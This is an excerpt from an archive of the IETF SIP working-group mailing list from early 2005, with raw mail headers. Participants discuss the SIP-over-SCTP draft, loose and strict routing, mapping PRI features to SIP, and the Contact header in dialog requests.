1Cwdsk-0007x1-6K for sip@ietf.org; Thu, 03 Feb 2005 05:06:39 -0500 Received: from eamrcnt751.exu.ericsson.se (eamrcnt751.exu.ericsson.se [138.85.133.52]) by imr1.ericy.com (8.12.10/8.12.10) with ESMTP id j139lhCR029882; Thu, 3 Feb 2005 03:47:44 -0600 (CST) Received: from ericsson.com (upcc335.uab.ericsson.se [134.138.162.80]) by eamrcnt751.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id D5ZFCDG1; Thu, 3 Feb 2005 03:46:30 -0600 Message-ID: <4201F303.5070906@ericsson.com> Date: Thu, 03 Feb 2005 11:46:43 +0200 X-Sybari-Trust: 25b4e30b b8ec86c7 33430f2d 00000139 From: Gonzalo Camarillo User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: rakhan@hssworld.com References: <20050202134253.71959.qmail@web54201.mail.yahoo.com> In-Reply-To: <20050202134253.71959.qmail@web54201.mail.yahoo.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: ea4ac80f790299f943f0a53be7e1a21a Content-Transfer-Encoding: 7bit Cc: sip@ietf.org, jdrosen@dynamicsoft.com, schulzrinne@cs.columbia.edu Subject: [Sip] Re: draft-ietf-sip-sctp-05 clarification X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 52e1467c2184c31006318542db5614d5 Content-Transfer-Encoding: 7bit Hi, thanks for your comments. Answers inline: > Section 3.2 > > Using TCP as transport protocol normally guarenteed > that the messages are delivered in sequence. However, > the usage of SCTP nullifies that, if proper optinos > are not used. Subsequent sections of the draft specify how to use those options. > Multihoming in SCTP can be used as load sharing too, > which needs a mention because this needs to be known > at the SIP application level so that messages do not > end up at wrong places. That is SCTP standard stuff. We do not need to specify anything new so that applications can use the multihoming capabilities that SCTP provides. By the way, I circulated a preliminary version 06 of the draft in the list some time ago. Given that I have not received any extra comment on this new version (which includes Cullen's comments), I will be submitting it shortly. Thanks for the comments, Gonzalo _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Thu Feb 3 07:52:49 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA17299 for ; Thu, 3 Feb 2005 07:52:49 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cwgm9-0004YY-Gx for sip-web-archive@ietf.org; Thu, 03 Feb 2005 08:12:01 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwgLW-00028k-Np; Thu, 03 Feb 2005 07:44:30 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwKmz-0003Mq-QW for sip@megatron.ietf.org; Wed, 02 Feb 2005 08:43:26 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA02636 for ; Wed, 2 Feb 2005 08:43:22 -0500 (EST) Received: from web54201.mail.yahoo.com ([206.190.39.243]) by ietf-mx.ietf.org with smtp (Exim 4.33) id 1CwL5L-000798-RZ for sip@ietf.org; Wed, 02 Feb 2005 09:02:25 -0500 Received: (qmail 71961 invoked by uid 60001); 2 Feb 2005 13:42:53 -0000 Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; b=0slhxmf0LMB8ZbmkKHa6zGwDjkBw2n9s4fKAnx2VchwInvfxPgmj/0ibLa/2hGSCV9rc4pwlgCf52SNePdf7V0RNs82l1nh4ntr6qQV1VGIyPsY2qhjy3q2dMBmmxt+kTL+oI+yKYk/2CvvqdY3E6dJZSe7i4AVEu9fF61iOg5E= ; Message-ID: <20050202134253.71959.qmail@web54201.mail.yahoo.com> Received: from [217.45.197.113] by web54201.mail.yahoo.com via HTTP; Wed, 02 Feb 2005 05:42:52 PST Date: Wed, 2 Feb 2005 05:42:52 -0800 (PST) From: Rayees Khan To: sip@ietf.org, jdrosen@dynamicsoft.com, schulzrinne@cs.columbia.edu, gonzalo.Camarillo@ericsson.com MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Scan-Signature: ea4ac80f790299f943f0a53be7e1a21a X-Mailman-Approved-At: Thu, 03 Feb 2005 07:44:29 -0500 Cc: rakhan@hssworld.com Subject: [Sip] draft-ietf-sip-sctp-05 clarification X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: rakhan@hssworld.com List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 52e1467c2184c31006318542db5614d5 Hi, I have noted the following point while going through the mentioned Draft. Section 3.2 Using TCP as transport protocol normally guarenteed that the messages are delivered in sequence. However, the usage of SCTP nullifies that, if proper optinos are not used. Multihoming in SCTP can be used as load sharing too, which needs a mention because this needs to be known at the SIP application level so that messages do not end up at wrong places. regards Rayees __________________________________ Do you Yahoo!? Yahoo! Mail - Find what you need with new enhanced search. http://info.mail.yahoo.com/mail_250 _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Thu Feb 3 07:55:48 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA17506 for ; Thu, 3 Feb 2005 07:55:48 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cwgp1-0004ed-W2 for sip-web-archive@ietf.org; Thu, 03 Feb 2005 08:15:01 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwgLY-00028r-0a; Thu, 03 Feb 2005 07:44:32 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwOnM-0001iU-2X for sip@megatron.ietf.org; Wed, 02 Feb 2005 13:00:04 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA06220 for ; Wed, 2 Feb 2005 12:59:58 -0500 (EST) Received: from frontend-2.servers.ua.pt ([193.136.173.3] helo=frontend-2.cgpmail.ua.pt) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwP5i-0007cq-HH for sip@ietf.org; Wed, 02 Feb 2005 13:19:05 -0500 Received: from [193.136.92.53] (HELO av.it.pt) by frontend-2.cgpmail.ua.pt (CommuniGate Pro SMTP 4.2.7) with ESMTP id 41596184 for sip@ietf.org; Wed, 02 Feb 2005 17:59:14 +0000 Received: from [193.136.92.207] (account nnovo@av.it.pt) by av.it.pt (CommuniGate Pro WebUser 4.2.5) with HTTP id 2210218 for sip@ietf.org; Wed, 02 Feb 2005 17:59:54 +0000 From: "Nuno Filipe Oliveira Novo" To: sip@ietf.org X-Mailer: CommuniGate Pro WebUser Interface v.4.2.5 Date: Wed, 02 Feb 2005 17:59:54 +0000 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1"; format="flowed" Content-Transfer-Encoding: 8bit X-Spam-Score: 0.0 (/) X-Scan-Signature: ffa9dfbbe7cc58b3fa6b8ae3e57b0aa3 Content-Transfer-Encoding: 8bit X-Mailman-Approved-At: Thu, 03 Feb 2005 07:44:29 -0500 Subject: [Sip] SIP Loose routing X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 8abaac9e10c826e8252866cbe6766464 Content-Transfer-Encoding: 8bit Dear all, When studing loose routing in Sip i stumble in a question. imagine that we have the situation: Alice . . .atlanta.com . . . . . biloxi.com . . . Bob Alice is registered in atlanta.com and Bob in biloxi.com. Let's assume that atlanta.com is a loose router proxy and biloxi.com is a strict router proxy. When Alice try to contact Bob she send a INVITE to the proxy atlanta.com with the request URI filled with Bob sip URI.So far so good. Now the proxy atlanta.com needs to contact with the biloxi.com. The question is does the proxy atlanta.com, using a search mechanism based on DNS, knows that the proxy biloxi.com is a strict router? Or proxy atlanta.com assume that bilibox.com is a stric router because atlanta.com doesn't have that kind of information about bilibo.com? Is there any way of a proxy knowing if the next proxy is a strict or loose router in this situation? Best Regards: Nuno Novo. _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Thu Feb 3 07:56:52 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA17714 for ; Thu, 3 Feb 2005 07:56:51 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cwgq2-0004jr-CE for sip-web-archive@ietf.org; Thu, 03 Feb 2005 08:16:04 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwgLZ-000291-RY; Thu, 03 Feb 2005 07:44:33 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwScx-0005Rx-Hl for sip@megatron.ietf.org; Wed, 02 Feb 2005 17:05:35 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA14081 for ; Wed, 2 Feb 2005 17:05:30 -0500 (EST) Received: from ptb-relay01.plus.net ([212.159.14.212]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwSvJ-0002ib-Qb for sip@ietf.org; Wed, 02 Feb 2005 17:24:39 -0500 Received: from [212.159.34.46] (helo=dsmsystems.co.uk) by ptb-relay01.plus.net with esmtp (Exim) id 1CwScF-000KBo-Rr; Wed, 02 Feb 2005 22:04:52 +0000 Received: from mail pickup service by dsmsystems.co.uk with Microsoft SMTPSVC; Wed, 2 Feb 2005 22:04:52 +0000 thread-index: AcUJczhHwXRit6L8TRi9J4ymGp7tVw== Delivered-To: mi_plusn-millner-justin@dsm.uk.com X-Original-To: sipforum-discussion@lists.su.se Message-ID: <070601c50973$384963f0$2464a8c0@dsmsystems.local> Delivered-To: sipforum-discussion@lists.su.se X-Mailer: Microsoft CDO for Exchange 2000 Content-Class: urn:content-classes:message Importance: normal Priority: normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.3790.181 X-Sybari-Space: 00000000 00000000 00000000 00000000 From: "Tom Taylor" User-Agent: Mozilla Thunderbird 0.9 (Windows/20041103) X-Accept-Language: en-us, en MIME-Version: 1.0 To: References: <60BBB1231E9EA443BD400F30A47C0A7026A181@asbmail1.sbell.com.cn> In-Reply-To: <60BBB1231E9EA443BD400F30A47C0A7026A181@asbmail1.sbell.com.cn> Content-Type: text/plain; charset="GB2312" Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new at av-in.su.se X-Spam-Status: No, hits=-2.743 tagged_above=-99 required=7 tests=AWL, BAYES_00 Subject: [Sipforum-discussion] Re: [Sip] pri and sip mapping issue X-BeenThere: sipforum-discussion@lists.su.se X-Mailman-Version: 2.0.13 Precedence: bulk List-Archive: Date: Wed, 2 Feb 2005 22:04:52 -0000 X-OriginalArrivalTime: 02 Feb 2005 22:04:52.0203 (UTC) FILETIME=[386613B0:01C50973] X-Spam-Score: 0.4 (/) X-Scan-Signature: c0bedb65cce30976f0bf60a0a39edea4 Content-Transfer-Encoding: 7bit X-Mailman-Approved-At: Thu, 03 Feb 2005 07:44:29 -0500 Cc: sip@ietf.org, sipforum-discussion@lists.su.se X-BeenThere: sip@ietf.org List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.1 (/) X-Scan-Signature: fb6060cb60c0cea16e3f7219e40a0a81 Content-Transfer-Encoding: 7bit Hi. My responses below marked with [PTT]. FCG Wang JuLin wrote: > > > Hi,list, > > Is there any standard in pri and sip mapping for the following three > items: > > 1)user to user infomation [PTT] To carry the information itself, the obvious method is to add a body of type application/octet-stream. The issue comes in how to signal the service -- especially, how to indicate what that body is for. > > 2)bear capacity( 64K data),UDI. [PTT] You can signal and use CLEARMODE (http://www.ietf.org/internet-drafts/draft-ietf-avt-rtp-clearmode-05.txt). This has been approved by the IESG but is stuck in the RFC Editor's queue because it has a dependency on draft-ietf-mmusic-sdp-new-23.txt, which still has to pass Last Call. > > 3) call transfer service indication mapping. [PTT] Leaving aside 3xx redirection responses, you may want to look at the Request_History header field (http://www.ietf.org/internet-drafts/draft-ietf-sip-history-info-06.txt). > > Thank you for your response ! > > Best Regards > Wang Julin(Jerry Wang) > Product Management > Alcatel Shanghai Bell > Phone:+86-21-58541240-9531 > Fax:+86-21-58342941 > Mobile: 13817861240 > E-mail:Julin.Wang@alcatel-sbell.com.cn > > > > > > > > > > ------------------------------------------------------------------------ > > _______________________________________________ > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip > This list is for NEW development of the core SIP Protocol > Use sip-implementors@cs.columbia.edu for questions on current sip > Use sipping@ietf.org for new developments on the application of sip -- Tom Taylor Carrier VoIP Standards Development Nortel Phone +1 613 763 1496 (ESN 393-1496) E-mail: taylor@nortelnetworks.com ------ To unsubscribe from the Sipforum-discussion mailing list visit https://mbox.su.se/mailman/listinfo/sipforum-discussion _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Thu Feb 3 08:39:52 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA21650 for ; Thu, 3 Feb 2005 08:39:52 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwhVg-00067d-QW for sip-web-archive@ietf.org; Thu, 03 Feb 2005 08:59:06 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwhAv-0006Fg-1R; Thu, 03 Feb 2005 08:37:37 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwhAb-00061n-Im for sip@megatron.ietf.org; Thu, 03 Feb 2005 08:37:17 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA21508 for ; Thu, 3 Feb 2005 08:37:15 -0500 (EST) Received: from usjk1004.kddi.com ([211.4.169.26]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwhT9-00062U-CC for sip@ietf.org; Thu, 03 Feb 2005 08:56:29 -0500 Received: from usjk1006.kddi.com (usjk1006 [10.96.2.3]) by usjk1004.kddi.com with ESMTP id j13DaCA15010; Thu, 3 Feb 2005 22:36:12 +0900 (JST) Received: from usjk1038 (localhost [127.0.0.1]) by usjk1006.kddi.com with SMTP id j13DaCQ21854; Thu, 3 Feb 2005 22:36:12 +0900 (JST) Received: from KDDI-0303PC1181 ([10.100.94.32]) by usjk1009.kddi.com (InterMail vM.5.01.02.00 201-253-116-121-20001201) with ESMTP id <20050203133610.EDDK24157.usjk1009.kddi.com@KDDI-0303PC1181>; Thu, 3 Feb 2005 22:36:10 +0900 To: taylor@nortelnetworks.com, justin.millner@ietf.org Subject: Re: [Sipforum-discussion] Re: [Sip] pri and sip mapping issue From: Takuya Sawada References: <60BBB1231E9EA443BD400F30A47C0A7026A181@asbmail1.sbell.com.cn> <070601c50973$384963f0$2464a8c0@dsmsystems.local> In-Reply-To: <070601c50973$384963f0$2464a8c0@dsmsystems.local> Message-Id: <200502032236.DGC58161.TBX-UBBVE@kddi.com> X-Mailer: Winbiff [Version 2.42 PL2] X-Accept-Language: ja,en Date: Thu, 3 Feb 2005 22:36:11 +0900 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-WAuditID: 0502032236110000128346 X-Spam-Score: 0.0 (/) X-Scan-Signature: a87a9cdae4ac5d3fbeee75cd0026d632 Cc: sip@ietf.org, sipforum-discussion@lists.su.se X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 287c806b254c6353fcb09ee0e53bbc5e Hi, > > 1)user to user infomation > > [PTT] To carry the information itself, the obvious method is to add a body of > type application/octet-stream. The issue comes in how to signal the service -- > especially, how to indicate what that body is for. I think one possible solution is to use ITU-T Q.1980.1. MIME type will be the following; Content-Type: application/nss Content-Disposition: signal The problem of this solution is that Q.1980.1 is not so popular, I think. Am I correct? Regards, Takuya > Hi. My responses below marked with [PTT]. > > FCG Wang JuLin wrote: > > > > > > Hi,list, > > > > Is there any standard in pri and sip mapping for the following three > > items: > > > > 1)user to user infomation > > [PTT] To carry the information itself, the obvious method is to add a body of > type application/octet-stream. The issue comes in how to signal the service -- > especially, how to indicate what that body is for. > > > > 2)bear capacity( 64K data),UDI. > > [PTT] You can signal and use CLEARMODE > (http://www.ietf.org/internet-drafts/draft-ietf-avt-rtp-clearmode-05.txt). This > has been approved by the IESG but is stuck in the RFC Editor's queue because it > has a dependency on draft-ietf-mmusic-sdp-new-23.txt, which still has to pass Last > Call. > > > > 3) call transfer service indication mapping. > > [PTT] Leaving aside 3xx redirection responses, you may want to look at the > Request_History header field > (http://www.ietf.org/internet-drafts/draft-ietf-sip-history-info-06.txt). > > > > Thank you for your response ! > > > > Best Regards > > Wang Julin(Jerry Wang) > > Product Management > > Alcatel Shanghai Bell > > Phone:+86-21-58541240-9531 > > Fax:+86-21-58342941 > > Mobile: 13817861240 > > E-mail:Julin.Wang@alcatel-sbell.com.cn > > > > > > > > > > > > > > > > > > > > ------------------------------------------------------------------------ > > > > _______________________________________________ > > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip > > This list is for NEW development of the core SIP Protocol > > Use sip-implementors@cs.columbia.edu for questions on current sip > > Use sipping@ietf.org for new developments on the application of sip > > -- > Tom Taylor > Carrier VoIP Standards Development > Nortel > Phone +1 613 763 1496 (ESN 393-1496) > E-mail: taylor@nortelnetworks.com > ------ > To unsubscribe from the Sipforum-discussion mailing list visit https://mbox.su.se/mailman/listinfo/sipforum-discussion > > > > _______________________________________________ > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip > This list is for NEW development of the core SIP Protocol > Use sip-implementors@cs.columbia.edu for questions on current sip > Use sipping@ietf.org for new developments on the application of sip -------- Takuya Sawada KDDI Corporation (KDDI) Garden Air Tower, 3-10-10, Iidabashi, Chiyoda-ku, Tokyo 102-8460, Japan Tel: +81-3-6678-2997 Fax: +81-3-6678-0286 tu-sawada@kddi.com _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Thu Feb 3 11:54:38 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA14735 for ; Thu, 3 Feb 2005 11:54:37 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwkYD-0004jD-1k for sip-web-archive@ietf.org; Thu, 03 Feb 2005 12:13:54 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cwk81-0004ji-5w; Thu, 03 Feb 2005 11:46:49 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwjwS-0000pC-5x for sip@megatron.ietf.org; Thu, 03 Feb 2005 11:34:52 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA12696 for ; Thu, 3 Feb 2005 11:34:49 -0500 (EST) Received: from magus.nostrum.com ([69.5.195.2] ident=root) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwkF1-00042r-9d for sip@ietf.org; Thu, 03 Feb 2005 11:54:05 -0500 Received: from [192.168.0.103] (c-24-1-68-89.client.comcast.net [24.1.68.89]) (authenticated bits=0) by magus.nostrum.com (8.12.11/8.12.11) with ESMTP id j13GYioo076958 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NO); Thu, 3 Feb 2005 10:34:44 -0600 (CST) (envelope-from rjsparks@nostrum.com) In-Reply-To: <4C37CF2D8DF07E4CA6357BAD5EB9A5D7189FC30A@oh0012exch004u.cb.lucent.com> References: <4C37CF2D8DF07E4CA6357BAD5EB9A5D7189FC30A@oh0012exch004u.cb.lucent.com> Mime-Version: 1.0 (Apple Message framework v619.2) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <705e69cffbf977c702be68dca9314dd4@nostrum.com> Content-Transfer-Encoding: 7bit From: Robert Sparks Subject: Re: [Sip] Requests within SIP Dialog and Contact Header Date: Thu, 3 Feb 2005 10:34:43 -0600 To: "Shekar, Nagesh Soma (Shekar)** CTR **" X-Mailer: Apple Mail (2.619.2) X-Spam-Score: 0.1 (/) X-Scan-Signature: 41c17b4b16d1eedaa8395c26e9a251c4 Content-Transfer-Encoding: 7bit Cc: sip@ietf.org, "'Brett Tate'" X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.1 (/) X-Scan-Signature: d8ae4fd88fcaf47c1a71c804d04f413d Content-Transfer-Encoding: 7bit REFER is also a target refresh request, and a similar bug has been posted against 3515 for clarification. To your last question: You can't change RFCs once they are published. You can issue new RFCs that update older ones. We queue these clarifications up in our bug database until it is appropriate to issue an updating RFC. Whenever possible, we mention those clarifications when they affect other new work. RjS On Feb 2, 2005, at 2:10 PM, Shekar, Nagesh Soma (Shekar)** CTR ** wrote: > Brett, > > Thanks for the clarification, if the NOTIFY is expected > to be a target refresh request, then it makes sense > that the Contact Header be mandatory. Unfortunately, > there are some implementations that do not include Contact > Header in NOTIFY messages (Ex. Pingtel Instant xpressa). > > I am assuming that the bug is still not fixed. How does the > bug fixing process work with RFCs, will there be a draft that > will have the bug fixes. > > Nagesh Shekar. > >> -----Original Message----- >> From: Brett Tate [mailto:brett@broadsoft.com] >> Sent: Wednesday, February 02, 2005 1:17 PM >> To: 'Shekar, Nagesh Soma (Shekar)** CTR **'; sip@ietf.org >> Subject: RE: [Sip] Requests within SIP Dialog and Contact Header >> >> >>> The Contact header is defined as a Mandatory >>> Header in some of Request messages, >>> like NOTIFY as a mandatory header. >>> >>> I am trying to understand if this is required >>> for SIP header like Contact to be mandatory >>> in SIP requests that are sent in a dialog that >>> is already setup with a INVITE transaction. >>> If it is required, then what is the intent of >>> making it Mandatory and how it should be used. >> >> The Contact was made mandatory in some requests (NOTIFY, >> SUBSCRIBE, INVITE) >> to help with dialog establishment and dialog recovery. >> >> NOTIFY, SUBSCRIBE, INVITE, and UPDATE are target refresh requests. >> >> Thus a Contact change in these requests indicate an attempt update the >> dialog. >> >> http://www.sipwg.org/show_bug.cgi?id=699 >> >> http://www1.ietf.org/mail-archive/web/sip/current/msg06960.html >> >> >> > > _______________________________________________ > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip > This list is for NEW development of the core SIP Protocol > Use sip-implementors@cs.columbia.edu for questions on current sip > Use sipping@ietf.org for new developments on the application of sip _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Thu Feb 3 12:08:25 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA16094 for ; Thu, 3 Feb 2005 12:08:25 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwklZ-0005Eb-LZ for sip-web-archive@ietf.org; Thu, 03 Feb 2005 12:27:41 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cwk8I-0004sw-V9; Thu, 03 Feb 2005 11:47:06 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cwk3L-0002ev-9S for sip@megatron.ietf.org; Thu, 03 Feb 2005 11:41:59 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA13369 for ; Thu, 3 Feb 2005 11:41:56 -0500 (EST) Received: from magus.nostrum.com ([69.5.195.2] ident=root) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwkLv-0004Hw-F4 for sip@ietf.org; Thu, 03 Feb 2005 12:01:13 -0500 Received: from [192.168.0.103] (c-24-1-68-89.client.comcast.net [24.1.68.89]) (authenticated bits=0) by magus.nostrum.com (8.12.11/8.12.11) with ESMTP id j13Gfjba077721 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NO); Thu, 3 Feb 2005 10:41:46 -0600 (CST) (envelope-from rjsparks@nostrum.com) In-Reply-To: References: Mime-Version: 1.0 (Apple Message framework v619.2) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <781553c98ce03f880c407c58d9a68ad0@nostrum.com> Content-Transfer-Encoding: 7bit From: Robert Sparks Subject: Re: [Sip] SIP Loose routing Date: Thu, 3 Feb 2005 10:41:45 -0600 To: "Nuno Filipe Oliveira Novo" X-Mailer: Apple Mail (2.619.2) X-Spam-Score: 0.1 (/) X-Scan-Signature: 3e15cc4fdc61d7bce84032741d11c8e5 Content-Transfer-Encoding: 7bit Cc: sip@ietf.org X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.1 (/) X-Scan-Signature: 02ec665d00de228c50c93ed6b5e4fc1a Content-Transfer-Encoding: 7bit Inline: On Feb 2, 2005, at 11:59 AM, Nuno Filipe Oliveira Novo wrote: > Dear all, > When studing loose routing in Sip i stumble in a question. > imagine that we have the situation: > Alice . . .atlanta.com . . . . . biloxi.com . . . Bob > > Alice is registered in atlanta.com and Bob in biloxi.com. Let's assume > that atlanta.com is a loose router proxy and biloxi.com is a strict > router proxy. > When Alice try to contact Bob she send a INVITE to the proxy > atlanta.com with the request URI filled with Bob sip URI.So far so > good. > > Now the proxy atlanta.com needs to contact with the biloxi.com. > > The question is does the proxy atlanta.com, using a search mechanism > based on DNS, knows that the proxy biloxi.com is a strict router? > Or proxy atlanta.com assume that bilibox.com is a stric router because > atlanta.com doesn't have that kind of information about bilibo.com? > Is there any way of a proxy knowing if the next proxy is a strict or > loose router in this situation? Inside an established dialog (with a route-set built with Record-Route, atlanta.com knows whether biloxi.com is a loose or strict router by looking for ";lr" in the next Route URI. I think you're asking about the case where Alice is sending an initial INVITE to sip:bob@biloxi.com using a preloaded route that sends her request through atlanta.com. In this case, Alice's initial request is going to look like: INVITE sip:bob@biloxi.com Route: altanta.com will consume that route header. There is no subsequent route header, so it makes no difference if biloxi.com is a strict or loose router. The request going from atlanta to biloxi will be just INVITE sip:bob@biloxi.com RjS > Best Regards: > Nuno Novo. > > _______________________________________________ > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip > This list is for NEW development of the core SIP Protocol > Use sip-implementors@cs.columbia.edu for questions on current sip > Use sipping@ietf.org for new developments on the application of sip _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use 